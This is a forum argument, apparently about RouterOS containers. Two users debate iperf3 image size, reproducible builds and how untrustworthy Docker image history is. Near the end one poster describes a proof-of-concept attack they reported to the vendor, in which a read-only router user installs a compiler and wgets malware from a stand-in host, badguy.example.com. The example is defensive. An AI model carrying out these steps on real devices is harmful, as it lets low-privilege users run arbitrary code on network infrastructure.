What else is your container meant to provide other than an “iperf3-server” as labeled, then? Here I thought the idea was to provide an iperf3 server. Mine does that. As you can see from my container’s Dockerfile, I didn’t strip any features of iperf3 out of my binary, making it suitable only for “specific edge use cases.” Mine meets the spec on the label and does nothing more.
The container I have created is a general off the shelf ready to use software packaged in a container.
Your alternative is worse on every meaningful metric: it’s pointlessly bigger, it’s configured in a less secure way, and it’s of an older version than current even though you claim it is “the latest”. That would be fine if your container was the only thing available, but instead you’ve hijacked a thread offering a superior option by announcing an inferior one. To what useful end?
I am not trying to use the latest iperf version since I rely on Alpine distribution.
You can get the latest version of iperf3 atop Alpine without compiling from source by saying “FROM alpine:edge”.
you can see the content of the container and verify if it’s OK for you.
The image layer comments listed on Docker Hub may be incomplete, misleading, or even wrong. Only having the source code lets you reproduce the build reliably.
Take the first line in the breakdown on my tangentsoft/iperf3:latest image for example:
COPY /src/iperf3 /bin/ # buildkit
Where did “/src/iperf3” come from? What is that binary’s provenance? How was it built? Is it even iperf3, really? Only having the Dockerfile, the Makefile, and redoing the build lets you verify that what that container claims to provide is actually provided, unchanged, bit-for-bit identical to your local build.
That’s important with non-verified image sources like yours and mine since there is otherwise no basis for developing trust in the provider of the image. Anyone can list anything on Docker Hub. I’ve found proof-of-concept malware up there that’s been available for years and is still available despite me reporting it to Docker, Inc. Although I believe the image I’m thinking of to be the product of a security researcher and not some type of malefactor, it is listed under the name of a popular piece of software, potentially leading anyone searching for a pre-packaged container image for that program to install it and thereby open the proof-of-concept hole in their network.
Furthermore, the OCI spec allows you to omit image layer history comments or to put any lie there that you like. Note that the “history” section is wholly optional, as is the “created_by” attribute within. You don’t even have to hand-hack the config.json file to achieve this. There are ready-made tools for creating this type of counterfactual declaration such as “buildah build --omit-history”.
When these created_by attributes are present in the image’s config.json file, there is nothing enforcing the accuracy of their representation of the image layer’s contents. They’re comments, not a recipe. Opening the Tags panel on Docker Hub and clicking on an image to find out what is inside can be arbitrarily misleading.
If you need the sources for a simple apk add iperf3
you are in a really bad shape.
Read up on reproducible builds and see if you still feel the same way afterward.
If that doesn’t change your mind, you shouldn’t be working in any sphere where trustworthy SBOMs are required.
If you are going to run a container you should have the knowledge and understanding of the risks
How can you understand the risks if you cannot trust the image history? Only the source code provides that level of trust.
I am not saying that every network operator should audit their containers to the source code level, but someone should be doing these audits. That is in part why Docker Hub has the “verified” and “certified OSS” labels on trustworthy containers.
But what assurances are there for community contributed container images like ours, if not the source code?
if you are so afraid of containers and from alpine you should not even used RouterOS but rather…
I’m afraid for good reason. I present here my proof-of-concept local island-hopping attack, cooked up in a matter of minutes and just now reported as SUP-134088:
$ ssh admin@myrouter
> /container/add remote-image="alpine:latest" interface=veth1 entrypoint="/bin/sleep" cmd="600"
> /container/start 0
> exit
$ ssh readonly@myrouter
> /container/shell 0
# apk add gcc
# wget https://badguy.example.com/horrid/malware.tar.gz
Now you can compile this arbitrary code on-device as a read-only RouterOS user and run it on your little island, attached to a core piece of network equipment!
This type of attack is also called “living off the land.” If there is nothing else inside the container but the service binary, that “land” becomes an empty desert in this analogy.
And that’s not the only way to fail here. If the software you package up is trustworthy today but ends up being shown to have an RCE vulnerability tomorrow — you know, the kind of thing that happens approximately once a week, somewhere — having an unnecessary copy of Alpine inside the container gives an attacker a lot of power that they would not otherwise have.